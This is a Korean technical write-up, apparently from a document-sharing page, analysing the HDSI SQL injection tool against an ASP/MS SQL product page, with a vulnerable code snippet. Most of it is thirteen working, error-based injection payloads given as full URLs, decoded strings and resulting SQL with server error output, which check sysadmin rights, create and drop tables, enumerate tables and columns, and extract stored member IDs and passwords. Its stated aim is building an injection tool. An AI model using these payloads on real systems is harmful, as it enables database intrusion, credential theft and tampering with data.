문서 템플릿

Similar documents
SKINFOSEC-CHR-028-ASP Mssql Cookie Sql Injection Tool 분석 보고서.doc

Microsoft PowerPoint - 10Àå.ppt

10.ppt

PowerPoint 프레젠테이션

강의 개요

DBMS & SQL Server Installation Database Laboratory

MySQL-.. 1

13주-14주proc.PDF

5장 SQL 언어 Part II

윈도우시스템프로그래밍

Ç¥Áö

빅데이터분산컴퓨팅-5-수정

Microsoft PowerPoint Python-DB

씨에이에스는 서울특별시 시설관리공단 계약 제1579호( ) 장애인 콜택시 콜센터 차량관제시스템 구축사업 감리용역 에 근거하여 카나스 에서 수행중인 장애인콜택시 콜센터 차량관제시스템 구축사업에 대한 최종감리를 실시하고 본 보고서를 제출합니다

No

Microsoft Word - SKINFOSEC-CHR-026- Mass SQL Injection 탐지 우회분석 보고서.doc

MySQL-Ch10

5-03-Â÷¼¼´ëÀ¥Iš

목차 BUG offline replicator 에서유효하지않은로그를읽을경우비정상종료할수있다... 3 BUG 각 partition 이서로다른 tablespace 를가지고, column type 이 CLOB 이며, 해당 table 을 truncate

TITLE

Tablespace On-Offline 테이블스페이스 온라인/오프라인

8 장데이터베이스 8.1 기본개념 - 데이터베이스 : 데이터를조직적으로구조화한집합 (cf. 엑셀파일 ) - 테이블 : 데이터의기록형식 (cf. 엑셀시트의첫줄 ) - 필드 : 같은종류의데이터 (cf. 엑셀시트의각칸 ) - 레코드 : 데이터내용 (cf. 엑셀시트의한줄 )

목차 BUG 문법에맞지않는질의문수행시, 에러메시지에질의문의일부만보여주는문제를수정합니다... 3 BUG ROUND, TRUNC 함수에서 DATE 포맷 IW 를추가지원합니다... 5 BUG ROLLUP/CUBE 절을포함하는질의는 SUBQUE

I T C o t e n s P r o v i d e r h t t p : / / w w w. h a n b i t b o o k. c o. k r

*금안 도비라및목차1~9

第 1 節 組 織 11 第 1 章 檢 察 의 組 織 人 事 制 度 등 第 1 項 大 檢 察 廳 第 1 節 組 대검찰청은 대법원에 대응하여 수도인 서울에 위치 한다(검찰청법 제2조,제3조,대검찰청의 위치와 각급 검찰청의명칭및위치에관한규정 제2조). 대검찰청에 검찰총장,대

쉽게 풀어쓴 C 프로그래밊

歯박지원-구운몽.PDF

*금안14(10)01-도비라및목차1~12

MS-SQL SERVER 대비 기능

SQL Developer Connect to TimesTen 유니원아이앤씨 DB 기술지원팀 2010 년 07 월 28 일 문서정보 프로젝트명 SQL Developer Connect to TimesTen 서브시스템명 버전 1.0 문서명 작성일 작성자

초보자를 위한 ADO 21일 완성

PowerPoint Presentation

InsertColumnNonNullableError(#colName) 에해당하는메시지출력 존재하지않는컬럼에값을삽입하려고할경우, InsertColumnExistenceError(#colName) 에해당하는메시지출력 실행결과가 primary key 제약에위배된다면, Ins

ALTIBASE HDB Patch Notes

WINDOW FUNCTION 의이해와활용방법 엑셈컨설팅본부 / DB 컨설팅팀정동기 개요 Window Function 이란행과행간의관계를쉽게정의할수있도록만든함수이다. 윈도우함수를활용하면복잡한 SQL 들을하나의 SQL 문장으로변경할수있으며반복적으로 ACCESS 하는비효율역

PowerPoint Presentation

DocsPin_Korean.pages

untitled

uFOCS

PowerPoint Presentation

윈도우시스템프로그래밍

본문서는 초급자들을 대상으로 최대한 쉽게 작성하였습니다. 본문서에서는 설치방법만 기술했으며 자세한 설정방법은 검색을 통하시기 바랍니다. 1. 설치개요 워드프레스는 블로그 형태의 홈페이지를 빠르게 만들수 있게 해 주는 프로그램입니다. 다양한 기능을 하는 플러그인과 디자인

텀블러514

*금안 도비라및목차1~17

untitled

API STORE 키발급및 API 사용가이드 Document Information 문서명 : API STORE 언어별 Client 사용가이드작성자 : 작성일 : 업무영역 : 버전 : 1 st Draft. 서브시스템 : 문서번호 : 단계 : Docum

ORANGE FOR ORACLE V4.0 INSTALLATION GUIDE (Online Upgrade) ORANGE CONFIGURATION ADMIN O

PowerPoint 프레젠테이션

Lec. 2: MySQL and RMySQL

소만사 소개

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D D382E687770>

PowerPoint 프레젠테이션

@OneToOne(cascade = = "addr_id") private Addr addr; public Emp(String ename, Addr addr) { this.ename = ename; this.a

구축환경 OS : Windows 7 그외 OS 의경우교재 p26-40 참조 Windows 의다른버전은조금다르게나타날수있음 Browser : Google Chrome 다른브라우저를사용해도별차이없으나추후수업의모든과정은크롬사용 한

PowerPoint

Connection 8 22 UniSQLConnection / / 9 3 UniSQL OID SET

SQL

Microsoft Word - [2017SMA][T8]OOPT_Stage_2040 ver2.docx

Microsoft Word - [Unioneinc] 특정컬럼의 통계정보 갱신_ _ldh.doc

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures

컴파일러

PCServerMgmt7

Data Sync Manager(DSM) Example Guide Data Sync Manager (DSM) Example Guide DSM Copyright 2003 Ari System, Inc. All Rights reserved. Data Sync Manager

토익S-채용사례리플렛0404

배치프로그램에서튜닝대상 SQL 추출하기 엑셈컨설팅본부 /DB 컨설팅팀박성호 배치프로그램의성능문제를진단하기위해트레이스를사용할수없고, 개별 SQL 에대한성 능점검은비효율적인경우에어떻게배치프로그램의성능문제를제대로파악하고개선안을도 출할것인가? 복잡한로직을가지고있는프로그램 (

PowerPoint Template

Oracle hacking 작성자 : 임동현 작성일 2008 년 10 월 11 일 ~ 2008 년 10 월 19 일 신규작성 작성내용

제목 레이아웃

FD¾ØÅÍÇÁ¶óÀÌÁî(Àå¹Ù²Þ)-ÀÛ¾÷Áß

뇌를자극하는 SQL Server 2012 (1 권 ) 1 권 : 기본편 < 이것만은알고갑시다 > 모범답안 1 장 1. (1) Microsoft (2) Oracle (3) IBM (4) Oracle (5) Micr

thesis

untitled

90

Spring Boot/JDBC JdbcTemplate/CRUD 예제

歯sql_tuning2

6장. SQL


歯PLSQL10.PDF

RDB개요.ppt

Microsoft PowerPoint - 3장-MS SQL Server.ppt [호환 모드]

Observational Determinism for Concurrent Program Security

PowerPoint 프레젠테이션

PHP & ASP

USER GUIDE

<C1A62038B0AD20B0ADC0C7B3EBC6AE2E687770>

201502IC1AP-1 DB 구축 2015 학년도 2 학기 프로젝트특강보고서 프로젝트명 : DB 구축 ( DB ) 2015 년 11 월 20 일 지도교수 : 황치곤교수님 학과 : 정보통신공학과 1팀제출자 : 역할성명학번 조장 조재석 조원 송찬호 2

PowerPoint 프레젠테이션

Microsoft PowerPoint - GUI _DB연동.ppt [호환 모드]

PowerPoint 프레젠테이션

Interstage5 SOAP서비스 설정 가이드

빅데이터 분산 컴퓨팅 -6

Orcad Capture 9.x

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc

Microsoft Word - php12.doc

슬라이드 1

SRC PLUS 제어기 MANUAL

강의 개요

슬라이드 1

*금안 도비라및목차1~15

Transcription:

HDSI 툴분석 [sql injection 기술명세서 ] Sql injection 기술명세서 Ver. 0.01 이문서는 sql injection 기술명세가범위입니다. Copyrights Copyright 2009 by CanvasTeam@SpeeDroot( 장경칩 ) All Rights Reserved. 장경칩의사전승인없이본내용의전부또는일부에대한복사, 전재, 배포, 사용을금합니다. Mail: ox1111@hackersnews.org

개정이력 버전 수정일자 재 / 개정이력설명 작성자 승인자 0.10 2009-01-23 초안작성 장경칩 장경칩 0.11 2009-10-05 Filed type가져오기수정및오타수정 장경칩 장경칩

- 목차 - [sql injection 기술명세서 ]... 1 Sql injection 기술명세서... 1 Ver. 0.01... 1 Copyrights... 1 1. 개요... 4 1.1. 목적... 4 1.2. 범위... 4 1.3. 정의및약어... 4 1.4. 관련문서... 4 1.5. 제약사항... 4 2. HDSI 툴분석... 5 2.1. encode 분석... 5 2.2. 취약한코드... 5 2.3. 단계별공격방법... 6 2.4. 단계별공격분석... 7 2.4.1. A-HDSI-01 ( 실제공격가능한지테스트해본다. )... 7 2.4.2. A-HDSI-02 ( 공격시사용될 db 테이블생성 )... 8 2.4.3. A-HDSI-03 ( db name 가져온다 )... 9 2.4.4. A-HDSI-04 ( SA 계정확인 )...10 2.4.5. A-HDSI-05 ( 프로시저생성 )...11 2.4.6. A-HDSI-06 ( DB 테이블개수가져오기 )...12 2.4.7. A-HDSI-07 ( 순서대로 DB 테이블이름가져오기 )...13 2.4.8. A-HDSI-08 ( 지정테이블의필드개수가져오기 )...14 2.4.9. A-HDSI-09 ( 지정테이블의필드이름가져오기 )...15 2.4.10. A-HDSI-10 ( 지정테이블의필드 TYPE 가져오기 )...17 2.4.11. A-HDSI-10 ( 레코드개수를가져온다 )...18 2.4.12. A-HDSI-11 ( 레코드값가져오기 )...19 2.4.13. A-HDSI-12 ( 사용한테이블삭제 )...20 - 표목차 - 표 1. 정의및약어기술... 4 - 그림목차 -

1. 개요 1.1. 목적 이문서는기존문서가많이있지만내나름대로정리하는데의의가있고 HDSI 사용명세와 SQL INJECTION 를기술적접근을명세화시키는고향후 SQL INJECTION TOOL 를만드는데그목적이있다 1.2. 범위 HDSI 툴의사용명세와 SQL INECTION 의기술적접근이범위이다. 1.3. 정의및약어 용어 설명 표 1. 정의및약어기술 1.4. 관련문서 1.5. 제약사항 N/A

2. HDSI 툴분석 2.1. encode 분석 Encode 코드 $20 space Char(94) ^ Char(85) U %2B + Decode 코드 2.2. 취약한코드 ID = Request.QueryString("ID") strsql= "SELECT * FROM products WHERE product_id=" & ID & ";"

2.3. 단계별공격방법 STEP CODE 설명 1 A-HDSI-01 실제공격가능여부와 USER를값을가져온다. 2 A-HDSI-02 공격시사용할 DB 테이블을생성한다. 3 A-HDSI-03 DB NAME를가져온다. 4 A-HDSI-04 SA 계정인지확인. 5 A-HDSI-05 프로시져생성 6 A-HDSI-06 DB 테이블개수가져오기 7 A-HDSI-07 순서대로 DB테이블이름가져오기 8 A-HDSI-08 테이블의필드개수가져오기 9 A-HDSI-09 테이블의필드이름가져오기 10 A-HDSI-10 필드 TYPE가져오기 11 A-HDSI-11 레코드개수가져오기 12 A-HDSI-12 레코드의값가져오기 13 A-HDSI-13 사용한테이블삭제

2.4. 단계별공격분석 2.4.1. A-HDSI-01 ( 실제공격가능한지테스트해본다. ) http://192.168.179.136/priamos/product.asp?id=1%20and(char(94)%2buser%2bchar(94))>0 GET /priamos/product.asp?id=1%20and(char(94)%2buser%2bchar(94))>0 ID=1%20and(char(94)%2Buser%2Bchar(94))>0 ID=1 and(^+user+^)>0 1) User > 0 를한이유는 user 컬럼은문자열타입이므로 > 0 를하게된다면 0 이숫자이므로 error 유발하게된다 Error 를유발해서 user 값이 error 페이지에보일수있게한다. 2) (^+user+^) 한이유는 asp 에서 error 페이지를보내줄때파싱이용이하게하기위해넣었다. StrSQL 문자열 Ticket number 를포함한명령 strsql= "SELECT * FROM products WHERE product_id=" & 1 and(char(94)+user+char(94))>0 & ";" SELECT * FROM products WHERE product_id=1 and(char(94)+user+char(94))>0; Microsoft OLE DB Provider for ODBC Drivers 오류 '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '^dbo^' to a column of data type int. /priamos/product.asp, 줄 66 [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '^^dbo^' to a column of data type int.

2.4.2. A-HDSI-02 ( 공격시사용될 db 테이블생성 ) http://192.168.179.136/priamos/product.asp?id=1;create%20table%20t_jiaozhu(jiaozhu%20varchar(200)) HEAD /priamos/product.asp?id=1;create%20table%20t_jiaozhu(jiaozhu%20varchar(200)) ID=1;create%20table%20t_jiaozhu(jiaozhu%20varchar(200)) ID=1;create table t_jiaozhu(jiaozhu varchar(200)) 1) t_jiaozhu 라는 db 테이블생성 2) jiaozhu 컬럼생성 StrSQL 문자열 strsql= "SELECT * FROM products WHERE product_id=" & 1 ;create table t_jiaozhu(jiaozhu varchar(200)) & ";" SELECT * FROM products WHERE product_id=1;create table t_jiaozhu(jiaozhu varchar(200));

2.4.3. A-HDSI-03 ( db name 가져온다 ) http://192.168.179.136/priamos/product.asp?id=1%20and(char(94)%2bdb_name()%2bchar(94))>0 GET /priamos/product.asp?id=1%20and(char(94)%2bdb_name()%2bchar(94))>0 ID=1%20and(char(94)%2Bdb_name()%2Bchar(94))>0 ID=1 and(^+db_name()+^)>0 1) db_name() 는 db 이름을가져온다 StrSQL 문자열실제 SQL TEST strsql= "SELECT * FROM products WHERE product_id=" & 1 and(char(94)+db_name()+char(94))>0 & ";" SELECT * FROM products WHERE product_id=1 and(char(94)+db_name()+char(94))>0; SELECT 'database' = DB_NAME(), 'user' = USER_NAME(), 'login' = SUSER_NAME() [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '^PRIAMOS^' to a column of data type int.

2.4.4. A-HDSI-04 ( SA 계정확인 ) http://192.168.179.136/priamos/product.asp? ID=1%20And%20(char(94)%2Bcast(IS_SRVROLEMEMBER('sysadmin')%20as%20varchar(1))%2Bchar(94))>0 GET /priamos/product.asp?id=1%20and%20(char(94)%2bcast(is_srvrolemember('sysadmin')%20as%20varchar(1))%2bchar(94))>0 ID=1%20And%20(char(94)%2Bcast(IS_SRVROLEMEMBER('sysadmin')%20as%20varchar(1))%2Bchar(94))>0 ID=1 And (^+cast(is_srvrolemember('sysadmin') as varchar(1))+^)>0 1) SA 계정인지확인한다. 1 이리턴되면 SA 계정이다. StrSQL 문자열실제 SQL문테스트 strsql= "SELECT * FROM products WHERE product_id=" & 1 And (char(94)+cast(is_srvrolemember('sysadmin') as varchar(1))+char(94))>0 & ";" SELECT * FROM products WHERE product_id=1 And (char(94)+cast(is_srvrolemember('sysadmin') as varchar(1))+char(94))>0; SELECT IS_SRVROLEMEMBER('sysadmin') as varchar [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '^1^' to a column of data type int.

2.4.5. A-HDSI-05 ( 프로시저생성 ) http://192.168.179.136/priamos/product.asp?id=1;declare%20@a%20int-- HEAD /priamos/product.asp?id=1;declare%20@a%20int-- ID=1;declare%20@a%20int-- ID=1;declare @a int 1) StrSQL 문자열실제 SQL문테스트 strsql= "SELECT * FROM products WHERE product_id=" & 1;declare @a int & ";" SELECT * FROM products WHERE product_id=1;declare @a int--;

2.4.6. A-HDSI-06 ( DB 테이블개수가져오기 ) http://192.168.179.136/priamos/product.asp? ID=1%20And%20(select%20char(94)%2Bcast(count(1)%20as%20varchar(80))%2Bchar(94)%20from%20[PRIAMOS]..[sysobjects]%20 where%20xtype=char(85))=0 GET /priamos/product.asp? ID=1%20And%20(select%20char(94)%2Bcast(count(1)%20as%20varchar(80))%2Bchar(94)%20from%20[PRIAMOS]..[sysobjects]%20 where%20xtype=char(85))=0 ID=1%20And%20(select%20char(94)%2Bcast(count(1)%20as%20varchar(80))%2Bchar(94)%20from%20[PRIAMOS]..[sysobjects]%20 where%20xtype=char(85))=0 ID=1 And (select ^+cast(count(1) as varchar(80))+^ from [PRIAMOS]..[sysobjects] Where xtype=u)=0 1) DB 테이블개수가져오기 StrSQL 문자열실제 SQL문테스트 strsql= "SELECT * FROM products WHERE product_id=" & 1 And (select char(94)+cast(count(1) as varchar(80))+char(94) from [PRIAMOS]..[sysobjects] where xtype=char(85))=0 & ";" SELECT * FROM products WHERE product_id=1 And (select char(94)+cast(count(1) as varchar(80))+char(94) from [PRIAMOS]..[sysobjects] where xtype=char(85))=0; [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '^8^' to a column of data type int.

2.4.7. A-HDSI-07 ( 순서대로 DB 테이블이름가져오기 ) http://192.168.179.136/priamos/product.asp? ID=1%20And%20(Select%20Top%201%20cast(char(94)%2Bname%2Bchar(94)%20as%20varchar(8000))%20from (Select%20Top%201%20id,name%20from%20[PRIAMOS]..[sysobjects]%20 Where%20xtype=char(85)%20order%20by%20name%20asc,id%20desc)%20T%20order%20by%20name%20desc,id%20asc)>0 GET /priamos/product.asp? ID=1%20And%20(Select%20Top%201%20cast(char(94)%2Bname%2Bchar(94)%20as%20varchar(8000))%20 from(select%20top%201%20id,name%20from%20[priamos]..[sysobjects]%20 Where%20xtype=char(85)%20order%20by%20name%20asc,id%20desc)%20T%20order%20by%20name%20desc,id%20asc)>0 ID=1%20And%20(Select%20Top%201%20cast(char(94)%2Bname%2Bchar(94)%20as%20varchar(8000))%20 from(select%20top%201%20id,name%20from%20[priamos]..[sysobjects]%20 Where%20xtype=char(85)%20order%20by%20name%20asc,id%20desc)%20T%20order%20by%20name%20desc,id%20asc)>0 ID=1 And (Select Top 1 cast(^+name+^ as varchar(8000)) from(select Top 1 id,name from [PRIAMOS]..[sysobjects] Where xtype=u order by name asc,id desc) T order by name desc,id asc)>0 1) 순서대로 DB 테이블개수가져오기 2) from(select Top 1 ~ from(select Top 4 까지요청한다. StrSQL 문자열실제 SQL문테스트 strsql= "SELECT * FROM products WHERE product_id=" & 1 And (Select Top 1 cast(char(94)+name+char(94) as varchar(8000)) from(select Top 1 id,name from [PRIAMOS]..[sysobjects] Where xtype=char(85) order by name asc,id desc) T order by name desc,id asc)> & ";" SELECT * FROM products WHERE product_id=1 And (Select Top 1 cast(char(94)+name+char(94) as varchar(8000)) from(select Top 1 id,name from [PRIAMOS]..[sysobjects] Where xtype=char(85) order by name asc,id desc) T order by name desc,id asc)>0; [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '^D99_CMD^' to a column of data type int.

2.4.8. A-HDSI-08 ( 지정테이블의필드개수가져오기 ) http://192.168.11.128/priamos/product.asp? ID=1%20And%20(select%20char(94)%2Bcast(count(1)%20as%20varchar(80))%2Bchar(94)%20 from%20[priamos]..[syscolumns]%20a,[priamos]..[sysobjects]%20b%20 where%20a.id=b.id%20and%20b.name='member')>0 GET /priamos/product.asp? ID=1%20And%20(select%20char(94)%2Bcast(count(1)%20as%20varchar(80))%2Bchar(94)%20 from%20[priamos]..[syscolumns]%20a,[priamos]..[sysobjects]%20b%20 where%20a.id=b.id%20and%20b.name='member')>0 ID=1%20And%20(select%20char(94)%2Bcast(count(1)%20as%20varchar(80))%2Bchar(94)%20 from%20[priamos]..[syscolumns]%20a,[priamos]..[sysobjects]%20b%20 where%20a.id=b.id%20and%20b.name='member')>0 ID=1 And (select ^ +cast(count(1) as varchar(80)) + ^ from [PRIAMOS]..[syscolumns] A,[PRIAMOS]..[sysobjects] B where A.id=B.id and B.name='member')>0 지정테이블의필드개수가져오기 1) [member] 이부분을계속변경해서필드개수를구한다.. StrSQL 문자열실제 SQL문테스트 strsql= "SELECT * FROM products WHERE product_id=" & 1 And (select char(94)+cast(count(1) as varchar(80))+char(94) from [PRIAMOS]..[syscolumns] A,[PRIAMOS]..[sysobjects] B where A.id=B.id and B.name='member')>0 & ";" SELECT * FROM products WHERE product_id=1 And (select char(94)+cast(count(1) as varchar(80))+char(94) from [PRIAMOS]..[syscolumns] A,[PRIAMOS]..[sysobjects] B where A.id=B.id and B.name='member')>0; [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '^2^' to a column of data type int.

2.4.9. A-HDSI-09 ( 지정테이블의필드이름가져오기 ) 멤버테이블에서필드이름 (id) 을가져온다. http://192.168.179.136/priamos/product.asp? ID=1%20And%20(select%20Top%201%20cast(char(94)%2Bname%2Bchar(94)%20as%20varchar(80))%20 from(select%20top%201%20b.name%20from%20[priamos]..[sysobjects]%20a%20,[priamos]..[syscolumns]%20b%20 where%20a.id=b.id%20and%20a.name='member'%20order%20by%20b.name%20asc)%20t%20order%20by%20name%20desc)>0 GET /priamos/product.asp? ID=1%20And%20(select%20Top%201%20cast(char(94)%2Bname%2Bchar(94)%20as%20varchar(80))%20 from(select%20top%201%20b.name%20from%20[priamos]..[sysobjects]%20a%20,[priamos]..[syscolumns]%20b%20 where%20a.id=b.id%20and%20a.name='member'%20order%20by%20b.name%20asc)%20t%20order%20by%20name%20desc)>0 ID=1%20And%20(select%20Top%201%20cast(char(94)%2Bname%2Bchar(94)%20as%20varchar(80))%20 from(select%20top%201%20b.name%20from%20[priamos]..[sysobjects]%20a%20,[priamos]..[syscolumns]%20b%20 where%20a.id=b.id%20and%20a.name='member'%20order%20by%20b.name%20asc)%20t%20order%20by%20name%20desc)>0 ID=1 And (select Top 1 cast( ^ +name + ^ as varchar(80)) from(select Top 1 B.name from [PRIAMOS]..[sysobjects] A,[PRIAMOS]..[syscolumns] B where A.id=B.id and A.name='member' order by B.name asc) T order by name desc)>0 1. 지정테이블의필드이름가져오기 2. from(select top 1 ~ from(select top2 를변경하면서데이터를가져온다 ( 필드개수는 3.3.8참조 ) 3. member 를변경하면서각테이블의필드이름을가져온다. StrSQL 문자열 실제 SQL 문테스트 strsql= "SELECT * FROM products WHERE product_id=" & 1 And (select Top 1 cast(char(94)+name+char(94) as varchar(80)) from(select Top 1 B.name from [PRIAMOS]..[sysobjects] A,[PRIAMOS]..[syscolumns] B where A.id=B.id and A.name='member' order by B.name asc) T order by name desc)>0 & ";" SELECT * FROM products WHERE product_id=1 And (select Top 1 cast(char(94)+name+char(94) as varchar(80)) from(select Top 1 B.name from [PRIAMOS]..[sysobjects] A,[PRIAMOS]..[syscolumns] B where A.id=B.id and A.name='member' order by B.name asc) T order by name desc)>0; [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '^id^' to a column of data type int.

멤버테이블에서필드이름 (passwd) 을가져온다. http://192.168.179.136/priamos/product.asp?id=1%20and%20 (select%20top%201%20cast(char(94)%2bname%2bchar(94)%20as%20varchar(80))%20 from(select%20top%202%20b.name%20from%20[priamos]..[sysobjects]%20a%20,[priamos]..[syscolumns]%20b%20 where%20a.id=b.id%20and%20a.name='member'%20order%20by%20b.name%20asc)%20t%20order%20by%20name%20desc)>0 GET /priamos/product.asp?id=1%20and%20(select%20top%201%20cast(char(94)%2bname%2bchar(94)%20as%20varchar(80))%20 from(select%20top%202%20b.name%20from%20[priamos]..[sysobjects]%20a%20,[priamos]..[syscolumns]%20b%20 where%20a.id=b.id%20and%20a.name='member'%20order%20by%20b.name%20asc)%20t%20order%20by%20name%20desc)>0 ID=1%20And%20(select%20Top%201%20cast(char(94)%2Bname%2Bchar(94)%20as%20varchar(80))%20 from(select%20top%202%20b.name%20from%20[priamos]..[sysobjects]%20a%20,[priamos]..[syscolumns]%20b%20 where%20a.id=b.id%20and%20a.name='member'%20order%20by%20b.name%20asc)%20t%20order%20by%20name%20desc)>0 ID=1 And (select Top 1 cast( ^ +name + ^ as varchar(80)) from(select Top 2 B.name from [PRIAMOS]..[sysobjects] A,[PRIAMOS]..[syscolumns] B where A.id=B.id and A.name='member' order by B.name asc) T order by name desc)>0 1. 지정테이블의필드이름가져오기 2. from(select top 1 ~ from(select top2 를변경하면서데이터를가져온다 ( 필드개수는 3.3.8참조 ) 3. member 를변경하면서각테이블의필드이름을가져온다. StrSQL 문자열 실제 SQL 문테스트 strsql= "SELECT * FROM products WHERE product_id=" & 1 And (select Top 1 cast(char(94)+name+char(94) as varchar(80)) from(select Top 2 B.name from [PRIAMOS]..[sysobjects] A,[PRIAMOS]..[syscolumns] B where A.id=B.id and A.name='member' order by B.name asc) T order by name desc)>0 & ";" SELECT * FROM products WHERE product_id=1 And (select Top 1 cast(char(94)+name+char(94) as varchar(80)) from(select Top 2 B.name from [PRIAMOS]..[sysobjects] A,[PRIAMOS]..[syscolumns] B where A.id=B.id and A.name='member' order by B.name asc) T order by name desc)>0; [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '^passwd^' to a column of data type int.

2.4.10. A-HDSI-10 ( 지정테이블의필드 TYPE 가져오기 ) http://192.168.11.128/priamos/product.asp? ID=1%20And%20(select%20Top%201%20char(94)%2Bcast(B.xtype%20as%20varchar(80))%2Bchar(94)%20from%20[PRIAMOS].. [sysobjects]%20a,[priamos]..[syscolumns]%20b%20where%20a.id=b.id%20and%20a.name='member'%20and%20b.name='id')>0 GET /priamos/product.asp? ID=1%20And%20(select%20Top%201%20char(94)%2Bcast(B.xtype%20as%20varchar(80))%2Bchar(94)%20from%20[PRIAMOS].. [sysobjects]%20a,[priamos]..[syscolumns]%20b%20where%20a.id=b.id%20and%20a.name='member'%20and%20b.name='id')>0 ID=1%20And%20(select%20Top%201%20char(94)%2Bcast(B.xtype%20as%20varchar(80))%2Bchar(94)%20from%20[PRIAMOS].. [sysobjects]%20a,[priamos]..[syscolumns]%20b%20where%20a.id=b.id%20and%20a.name='member'%20and%20b.name='id')>0 ID=1 And (select Top 1 ^+cast(b.xtype as varchar(80))+^ from [PRIAMOS].. [sysobjects] A,[PRIAMOS]..[syscolumns] B where A.id=B.id and A.name='member' and B.name='id')>0 필드의 type 를가져온다 StrSQL 문자열실제 SQL문테스트 필드 type 분석 strsql= "SELECT * FROM products WHERE product_id=" & 1 And (select Top 1 char(94)+cast(b.xtype as varchar(80))+char(94) from [PRIAMOS]..[sysobjects] A,[PRIAMOS]..[syscolumns] B where A.id=B.id and A.name='member' and B.name='id')>0 & ";" SELECT * FROM products WHERE product_id=1 And (select Top 1 char(94)+cast(b.xtype as varchar(80))+char(94) from [PRIAMOS]..[sysobjects] A,[PRIAMOS]..[syscolumns] B where A.id=B.id and A.name='member' and B.name='id')>0; [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '^175^' to a column of data type int. 175 : char 56 : int 35 :text, 167 : varcharr 239 :nchar 231: nvarchar

2.4.11. A-HDSI-10 ( 레코드개수를가져온다 ) http://192.168.11.128/priamos/product.asp? ID=1%20And%20(Select%20char(94)%2BCast(Count(1)%20as%20varchar(8000))%2Bchar(94)%20From%20[PRIAMOS]..[member]%20 Where%201=1)>0 GET /priamos/product.asp? ID=1%20And%20(Select%20char(94)%2BCast(Count(1)%20as%20varchar(8000))%2Bchar(94)%20From%20[PRIAMOS]..[member]%20 Where%201=1)>0 ID=1%20And%20(Select%20char(94)%2BCast(Count(1)%20as%20varchar(8000))%2Bchar(94)%20From%20[PRIAMOS]..[member]%20 Where%201=1)>0 ID=1 And (Select ^ +Cast(Count(1) as varchar(8000)) + ^ From [PRIAMOS]..[member] Where 1=1)>0 레코드개수가져온다. 1) [member] 이부분을계속변경해서레코드개수를구한다.. StrSQL 문자열실제 SQL문테스트 strsql= "SELECT * FROM products WHERE product_id=" & 1 And (Select char(94)+cast(count(1) as varchar(8000))+char(94) From [PRIAMOS]..[member] Where 1=1)>0 & ";" SELECT * FROM products WHERE product_id=1 And (Select char(94)+cast(count(1) as varchar(8000))+char(94) From [PRIAMOS]..[member] Where 1=1)>0; [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '^3^' to a column of data type int.

2.4.12. A-HDSI-11 ( 레코드값가져오기 ) http://192.168.179.136/priamos/product.asp? ID=1And%20(select%20top%201%20char(94)%2Bcast(id%20as%20varchar(8000))%2Bchar(94)%20%20 from%20(%20select%20top%202%20id,passwd%20from%20[priamos]..[member]%20order%20by%20id%20desc,passwd%20asc%20)%20 as%20as_tablename%20order%20by%20id%20asc,passwd%20desc%20)>0 GET /priamos/product.asp?id=1and%20(select%20top%201%20char(94)%2bcast(id%20as%20varchar(8000))%2bchar(94)%20%20 from%20(%20select%20top%202%20id,passwd%20from%20[priamos]..[member]%20order%20by%20id%20desc,passwd%20asc%20)%20 as%20as_tablename%20order%20by%20id%20asc,passwd%20desc%20)>0 ID=1And%20(select%20top%201%20char(94)%2Bcast(id%20as%20varchar(8000))%2Bchar(94)%20%20 from%20(%20select%20top%202%20id,passwd%20from%20[priamos]..[member]%20order%20by%20id%20desc,passwd%20asc%20)%20 as%20as_tablename%20order%20by%20id%20asc,passwd%20desc%20)>0 ID=1 And (select top 1 ^ +cast(id as varchar(8000)) + ^ from ( select top 2 id,passwd from [PRIAMOS]..[member] order by id desc,passwd asc ) as as_tablename order by id asc,passwd desc )>0 1. 레코드값가져오기 2. from(select top 1 ~ from(select top3 를변경하면서데이터를가져온다 ( 레코드개수는 2.2..10참조 ) 3. member 를변경하면서각레코드값을가져온다. 4. 레코드값 (id) 을가져온다면위와같이필드이름 (id, passwd) 변경해서레코드값을가져온다. StrSQL 문자열 실제 SQL 문테스트 strsql= "SELECT * FROM products WHERE product_id=" & 1 And (select Top 1 cast( ^ +name + ^ as varchar(80)) from(select Top 1 B.name from [PRIAMOS]..[sysobjects] A,[PRIAMOS]..[syscolumns] B where A.id=B.id and A.name='member' order by B.name asc) T order by name desc)>0 & ";" ID=1 And (select Top 1 cast( ^ +name + ^ as varchar(80)) from(select Top 1 B.name from [PRIAMOS]..[sysobjects] A,[PRIAMOS]..[syscolumns] B where A.id=B.id and A.name='member' order by B.name asc) T order by name desc)>0 [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '^root ^' to a column of data type int.

2.4.13. A-HDSI-12 ( 사용한테이블삭제 ) * HDSI 에없는내용이지만추가한항목임. http://192.168.179.136/priamos/product.asp?id=1;drop table t_jiaozhu GET /priamos/product.asp?id=1;drop table t_jiaozhu ID=1;drop table t_jiaozhu ID=1;drop table t_jiaozhu 1) 사용한테이블삭제 StrSQL 문자열 strsql= "SELECT * FROM products WHERE product_id=" & 1 ;drop table t_jiaozhu & ";" SELECT * FROM products WHERE product_id=1;drop table t_jiaozhu;